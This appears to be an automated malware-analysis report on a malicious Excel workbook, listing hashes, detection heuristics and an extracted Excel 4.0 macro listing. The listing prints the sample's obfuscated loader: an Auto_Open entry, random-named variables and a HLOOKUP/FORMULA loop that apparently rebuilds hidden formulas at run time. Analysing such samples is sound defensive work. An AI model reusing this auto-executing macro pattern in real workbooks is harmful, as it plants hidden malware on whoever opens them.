Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fa6a59b3bf9ac208…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:49 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: fe8d25512ff17a60bc320f1d9e131641 SHA-1: 2510c23272530586a76320aeca3999d47dedb761 SHA-256: fa6a59b3bf9ac208b0a1ec00c300550e705633d507c36de995e53cc35bb088de
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6528 bytes
SHA-256: 0d85ab628926be6a4b64e5c6c93782f3cd83094e2fd5c05eefaf483bbf70a79a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rCULK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C179 
' 0018     23 LABEL : Cell Value, String Constant - eJOJYTqy len=0 
' 0018     23 LABEL : Cell Value, String Constant - eMnMVuKp len=0 
' 0018     24 LABEL : Cell Value, String Constant - IGsjHiHEU len=0 
' 0018     20 LABEL : Cell Value, String Constant - IZJKU len=0 
' 0018     27 LABEL : Cell Value, String Constant - kWVxvdBnszow len=0 
' 0018     25 LABEL : Cell Value, String Constant - lBOQaMOhJZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - lncuAo len=0 
' 0018     25 LABEL : Cell Value, String Constant - mcQsxVjZzY len=0 
' 0018     25 LABEL : Cell Value, String Constant - ODPnBpmezV len=0 
' 0018     26 LABEL : Cell Value, String Constant - QYUDEnnFUUi len=0 
' 0018     23 LABEL : Cell Value, String Constant - RBhPLMuM len=0 
' 0018     27 LABEL : Cell Value, String Constant - RZxrElVauNrX len=0 
' 0018     24 LABEL : Cell Value, String Constant - sDpgDgDqE len=0 
' 0018     26 LABEL : Cell Value, String Constant - tnCsVMCkRyC len=0 
' 0018     22 LABEL : Cell Value, String Constant - trOJARW len=0 
' 0018     22 LABEL : Cell Value, String Constant - UndUgxy len=0 
' 0018     22 LABEL : Cell Value, String Constant - vgAWqJd len=0 
' 0018     25 LABEL : Cell Value, String Constant - ykNzSkHBQa len=0 
' 0018     22 LABEL : Cell Value, String Constant - YyjObRQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - zXQctYbNf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rCULK,C96,"SET.NAME("IGsjHiHEU",VALUE("0"))",""
'  rCULK,C101,"SET.NAME("trOJARW",IGsjHiHEU)",""
'  rCULK,C103,"SET.NAME("kWVxvdBnszow",IGsjHiHEU)",""
'  rCULK,C106,"SET.NAME("lncuAo",COUNTA(RZxrElVauNrX))",""
'  rCULK,C108,"SET.NAME("IZJKU",COUNTA(eJOJYTqy))",""
'  rCULK,C111,[],""
'  rCULK,C115,"SET.NAME("UndUgxy","")",""
'  rCULK,C120,"trOJARW",""
'  rCULK,C124,"SET.NAME("YyjObRQ",HLOOKUP("*",RZxrElVauNrX,trOJARW,FALSE))",""
'  rCULK,C127,"RBhPLMuM",""
'  rCULK,C130,"SET.NAME("vgAWqJd",IGsjHiHEU)",""
'  rCULK,C132,[],""
'  rCULK,C134,"vgAWqJd",""
'  rCULK,C137,"mcQsxVjZzY",""
'  rCULK,C140,"eMnMVuKp",""
'  rCULK,C144,"lBOQaMOhJZ",""
'  rCULK,C149,"SET.NAME("QYUDEnnFUUi",VALUE(HLOOKUP("*",eJOJYTqy,lBOQaMOhJZ,FALSE)))",""
'  rCULK,C151,"ODPnBpmezV",""
'  rCULK,C155,"UndUgxy",""
'  rCULK,C158,"kWVxvdBnszow",""
'  rCULK,C160,NEXT(),""
'  rCULK,C162,"ykNzSkHBQa",""
'  rCULK,C165,"SET.NAME("f",INT(T(FORMULA(T(UndUgxy)&"",""&T(ykNzSkHBQa)))))",""
'  rCULK,C169,"tnCsVMCkRyC",""
'  rCULK,C172,NEXT(),""
'  rCULK,C175,RETURN(),""
'  rCULK,C203,"SET.NAME("zXQctYbNf",C96)",""
'  rCULK,C205,"RZxrElVauNrX",""
'  rCULK,C207,"SET.NAME("eJOJYTqy",R85C13)",""
'  rCULK,C211,"SET.NAME("tnCsVMCkRyC",221)",""
'  rCULK,C215,"SET.NAME("sDpgDgDqE",3)",""
'  rCULK,C220,zXQctYbNf(),""
'  rCULK,C221,HALT(),""

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